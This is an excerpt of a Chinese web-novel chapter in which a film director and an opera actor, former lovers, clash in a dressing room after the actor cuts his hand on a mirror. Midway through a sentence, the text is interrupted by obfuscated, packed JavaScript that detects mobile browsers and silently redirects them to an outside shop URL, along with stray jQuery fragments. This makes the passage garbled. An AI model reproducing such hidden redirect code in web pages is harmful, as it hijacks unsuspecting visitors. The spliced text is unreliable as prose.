他调出频谱分析，那个瞬间的波形显示出一个清晰的音节：“阿和……”


    是潮汕话的发音，轻得像是片场杂音造成的错觉，却又熟悉得让他太阳穴突突直跳。


    “陈导？”林瑶的声音突然从身后传来，吓得他手指一颤，差点按到删除键，“省文化厅的人半小时后到，要不要先让李老师卸妆？”


    陈声和“啪”地合上监视器盖子，动作大得让旁边的老张诧异地看了他一眼。


    “……嗯。”他站起身，清了清嗓子才继续道，声音还是有些发紧，“我去跟他说。”


    后台走廊的灯光很暗，陈声和的脚步声被厚重的地毯吞没。


    远处传来道具组搬运器材的声响，混杂着场务拿着对讲机喊人的声音，一切都显得嘈杂而遥远。


    他在化妆间门口停下，手搭在门把上，却迟迟没有推开。


    门里“哗啦”一声，听着像是什么东西全给扫到地上了。


    紧接着，李霄川的声音传出来，又低又哑，几乎是从牙缝里挤出来的：“……操！”


    陈声和拳头收紧，指节抵在冰凉的金属门把上，那点冷意让他稍微定了定神。


    他在门口站了一会，没再听到声音，这才深吸一口气，推门进去了。


    化妆间里那盏化妆镜前的灯泡接触不良，一闪一闪的，照得李霄川半边还带着妆的脸一会儿亮一会儿暗。


    他背对着门，戏服也没换，衣襟上蹭了一大片红油彩，手里攥着一团浸满卸妆水的棉片，正没轻没重地往脸上擦。


    地上零零散散丢着几把断了的化妆刷，一瓶粉底液也打翻了，白的糊了一地，慢慢淌到陈声和脚边，像一道干巴巴的河。


    李霄川从镜子里瞥见他，动作停了一下。


    “陈导。”他扯了扯嘴角，要笑不笑的，“来视察工作？”


    陈声和站在门口，目光扫过满地狼藉，最终落在李霄川的手上，他的指关节通红，应该是刚砸过什么硬物。


    化妆台边上果然有道新鲜的刮痕，木屑还沾在那儿没掉。


    “省文化厅的人半小时后到。”陈声和说，“你需要卸妆。”


    “我知道。”李霄川转过身来，脸上的油彩已经被他擦得乱七八糟，底下皮肤泛着红，“怎么，怕我耽误你们纪录片的大项目了是吧？”


    他每句话都带着刺儿，像拿路边野玫瑰的杆子抽在陈声和身上。


    陈声和没接话，目光却落向化妆台角落，那儿放着个小铁盒，是川剧演员用来装脸谱油彩的。


    盒盖上贴了张便利贴，还仔细覆了层保护膜，上面写着：小心过敏。


    字迹已经有点模糊了，但他认得出，那是他自己的笔迹。


    大学有一次，李霄川画完全妆后脸过敏，红肿了好几天。从那之后，每次他演出，陈声和都会在他油彩盒上贴这么一张。


    他以为李霄川早就扔了。


    李霄川顺着他的视线看过去，忽然嗤笑一声，一把抓起铁盒，直接扔进了垃圾桶。


    “咚”的一声闷响，在过分安静的化妆间里，砸得人心里一沉。


    “满意了？”他盯着陈声和，“陈导是不是很失望，我怎么还没把和你有关的东西全扔干净？”


    陈声和的喉结动了动，垂在身侧的手指蜷起来。


    “……我只是来通知你时间。”他最终说，转身时手肘碰到了门边的衣架，那件绣着金线的戏服轻轻晃了晃。


    “陈声和。”李霄川叫住他，声音软了下来，“你刚才……听到我在戏里说什么了吗？”


    陈声和的背影僵住，走廊里传来场务推着设备车经过的轱辘声。


    “没有。”他没有回头，手指搭在门把手上，“我只听台词。”


    门锁轻轻咔哒一声闭合，在隔壁化妆间欢声笑语的反衬下，显得尤为孤寂。


    陈声和站在门外，掌心贴着被冷气吹得冰凉的门板，指甲在漆面上刮出几道白痕。


    里头突然“哐当”一声，像是什么玻璃杯砸镜子上了，紧跟着又是化妆椅倒下去的闷响，倒像出哑剧突然配了乐。


    他太阳穴突突地跳，耳边没由来地又响起刚才那折《柳荫记》里，李霄川改的那句：


    “十八相送终成谶，梁兄啊～”


    那尾音颤得不像唱戏，像人哭到一半硬压回去的抽气。


    就在这时，化妆间里漏出一声压得非常低的呜咽，仿佛受伤的动物舔伤口时没憋住的那一下。


    陈声和心里像被浸了冰水的毛巾狠狠抽了一下，他闭了闭眼睛，又猛地转身推开门！


    镜子已经裂成了蜘蛛网。李霄川的右手就悬在那裂痕正中央，血顺着缝隙往下爬，在镜面上淌出几条歪歪扭扭的红线。


    他妆卸了一半，左脸还挂着油彩，右脸却已经干净了。眼尾那颗泪痣在惨白灯光下红得扎眼。


    “出去。”他没有回头，声音嘶哑得像是刚唱完三折大戏。


    陈声和反手“咔哒”一声锁上门。那金属撞上的声音让李霄川肩膀轻轻一抖。


    陈声和径直走到储物柜前，拉开贴着“医药箱”的柜门。拿纱布时，他一眼瞥见最底下那盒云南白药，锡纸包装都氧化发黑了。


    “手。”他站在李霄川身后半步远的位置，空气里飘着血腥和他熟悉的跌打药酒味。


    李霄川肩膀僵了一下，还是没转身。血从他指缝滴下来，落在靛蓝色戏服前襟，迅速晕开一团深色。


    “五年不见，”陈声和又说了一遍，这次声音更轻，“你学会自残了？”


    这句话像是刺激到了李霄川。


    他猛地转过身，戏服广袖“呼”地扫倒了化妆台上的粉底液，瓶子滚到地毯上，发出闷闷的“咕咚”一声。


    “对！我就这点出息，”他眼睛红得吓人，左脸油彩被眼泪晕开，拖出一道蓝色的痕，像半张碎掉的面具，“比不上你陈大导演清高！”


    陈声和没有搭理他的讽刺。他一把握住李霄川的手腕，力道大得能清晰感觉到对方脉搏一下下的跳动。


    伤口比想象中深，一块菱形玻璃碎片还嵌在无名指


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005866|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的指关节里，再偏半寸就会割到肌腱。


    “……何必。”他听到自己轻声说。


    李霄川觉得这两个字太可笑了，他猛地抽回手，带出的血珠溅在陈声和的衬衫领口。


    “那说点陈导爱听的，”他扯出一个舞台上惯用的笑容，“今天拍到想要的表情了吗？要不要再来条特写？”


    陈声和没有抬头，只是慢慢收回自己被甩开的手，指节在掌心蜷了蜷：“……情绪太过了。”


    “过了？”李霄川低笑一声，喉结滚动时还带着方才演出的喘息，笑声钻进耳朵里像钝刀磨骨，“陈声和，你什么时候开始在乎演技了？以前我连《踏伞》的调门都唱不准，你也只会说好。”


    陈声和抬头，正对上李霄川的眼睛——那里面还凝着戏里的血丝，眼尾的黛青油彩被汗水晕开，在灯光下像道未干的泪痕。


    “那是以前。”他声音轻得快要消失了。


    空气里浮动的粉底液和发胶气味越发变得刺鼻。


    “以前……”李霄川伸手扯开戏服领口，盘扣崩飞在地上弹了两下，“以前你会在我演完《归舟》的杜十娘后，翻过观众席栏杆冲上来抱住我，说川哥别难过，沉百宝箱是假的……”


    他声音哑得像是刚吞过炭：“现在呢？现在你坐在监视器后面，连喊卡都要助理传话。”


    陈声和向后踉跄半步，手肘撞上化妆台。一瓶卸妆油翻倒，黏稠液体顺着台面蔓延，几支口红滚落在地上。


    “李霄川，”他拇指掐进掌心才稳住声线，“这是工作。”


    “工作……以前……”


    李霄川像是被这句话彻底激怒，他转身一脚踹翻了旁边的道具箱。箱子翻倒的瞬间，里面的东西哗啦一声散落一地。


    半块场记板，边缘已经发毛了，白漆面上用黑色马克笔写着字迹，右下角还画着个歪歪扭扭的辣椒图案。


    一包潮汕老药桔从夹层滑出，铝箔包装上的生产日期还停留在201X年。最底下露出张照片，撕痕从两人紧贴的肩头贯穿，又被透明胶带仔细拼好。


    照片里，学生时代的李霄川搂着陈声和的肩膀，背景里都江堰的江水溅起细碎水花，落在他们交握的手上。


    陈声和的心脏好像被猛地拽出来又塞回去。


    李霄川盯着地上的东西，胸口剧烈起伏，觉得自己很贱：“对，工作。你永远分得清什么是工作，什么是感情。”


    他弯腰捡起那张照片，手指用力到几乎要捏碎它：“陈声和……五年里我每次演出都带着这张照片，哪怕它被撕了，我还是粘起来。”


    “你呢？”他猛地抬头，眼眶通红，睫毛膏晕开的黑影坠在眼下，“你是不是早就把和我有关的东西全扔了？”


    陈声和站在原地，喉咙发紧，他张口时尝到舌尖的血腥味，才发觉不知何时咬破了口腔内壁。


    “我们早就结束了……”


    化妆镜里的李霄川在这一刻静止了，像被按下暂停键的胶片电影。


    “对，”他点点头，“结束了。”